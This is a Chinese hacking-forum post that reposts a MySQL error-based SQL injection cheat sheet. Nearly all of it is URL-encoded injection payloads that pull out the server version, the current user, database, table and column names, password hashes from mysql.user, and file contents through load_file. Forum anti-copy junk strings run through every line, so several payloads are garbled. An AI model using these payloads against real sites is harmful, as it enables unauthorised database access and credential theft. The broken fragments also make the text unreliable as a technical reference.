找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1982|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 / q& ]0 _: S% A& v& a" i& _

* _6 k3 U3 R3 S# d$ O; a) Q4 `. }% J; ?) p
Mysql暴错注入参考(pdf),每天一贴。。。7 m& I, @* L( g* |

2 Z- x/ B' w: x$ {1 zMySql Error Based Injection Reference
$ m( j" G$ [* C& t3 p; O[Mysql暴错注入参考]& z' I4 o& n$ p/ B1 d7 O2 {
Authornig0s1992
* y* \- o- j% Q$ NBlog:http://pnig0s1992.blog.51cto.com/
& }' T% W+ k7 W* L6 Z+ tTeAm:http://www.FreeBuf.com/8 {8 Q4 P* d0 B/ r5 T0 @
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, e% ]6 q4 y7 N
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
, e7 d- Q" L9 b$ U+ j* Z$ J0 J0 n查询版本:
& x  s7 M* s  V0 b* ^( p0 O  t) V: eMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+' a6 K6 ], @2 v( z
join+(select+name_const(@@version,0))b)c). x- p6 x  d% I) L8 W; [
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro, S) F, X" l% I1 y+ p
up by a)b)
0 l) j0 K7 U8 i( k+ z* a. R' \查询当前用户:
; w( {/ c& m# }2 Y5 t3 nMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
! U" [" d- ]* ~- m# CMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r+ \$ E6 d7 A9 W/ X& ^
and(0)*2))x+from+information_schema.tables+group+by+x)a)& L- B& E5 H1 B0 U. w3 h" G" |
查询当前数据库:6 V6 _+ v+ _5 X0 S. X
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
; J1 \$ q( m# j, \. u* mMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo& n# `6 S* }! c4 z) Q
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
" m9 q5 @" B0 P0 E- ^& s依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
/ X4 J6 _+ E3 s0 SLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n- J& l$ s) s1 P4 n" \
顺序替换
* U+ C1 T, [/ s) E( `5 C3 k爆指定库数目:7 ~& i; W: c: q' Z8 ~8 F/ M* \* m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
5 D$ l- _- t% A# K* P" uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group( E* r3 o) O1 f* s. p7 Z* l
+by+x)a)+and+1=1 0x6D7973716C=mysql
# Q& ]9 h# n9 O7 q/ K依次爆表:8 J* h* U# K! d$ O# S
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
' b7 V( L* z" T, X, b5 Yable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
2 K' P* l( `1 b: _: q3 }( @bles+group+by+x)a)+and+1=1
- E4 R9 P5 G9 Z0 d/ W/ @0x6D7973716C=Mysql 将n顺序替换! ?% k# J4 }" ~+ M! o6 r- R
爆表内字段数目:
1 D! r3 P2 N) m/ D% j1 Xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE+ H$ y" {5 ]3 x/ T/ @' }5 J# `# {
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran9 M6 [* r2 H0 r  Y: w
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( q: s- k2 ?. v依次爆字段:- j+ R% J" u. E" H+ {) K0 S& x& Y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
2 N7 ^. J6 [& C- _3 B/ L+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1  T" O1 e  M/ x% c. O3 Q
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
" B6 b0 Y5 E  E& N依次暴内容:
/ N0 w) {* h: yand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
7 K- Z% C- x& M, F8 u- A! w& {ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: Q/ p1 b; c# k+ N8 J* S+ O; E
将n顺序替换/ Q$ ^, r4 N. X; \
爆文件内容:' ?; G+ s) s9 g9 P) v5 K! V' Q
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
9 e6 V1 k! V1 h6 d2 qfrom+information_schema.tables+group+by+a)b) 1 y4 d# B: u0 z+ \
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节0 l; U" N- y# E- i  m/ E+ T+ J
Thx for reading.
2 B% @# S3 o; }% O- d( t" n# }+ ]4 h! V2 I0 L% V
不要下载也可以,
9 w& D0 ^! x7 a% x; l! J/ ]: ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表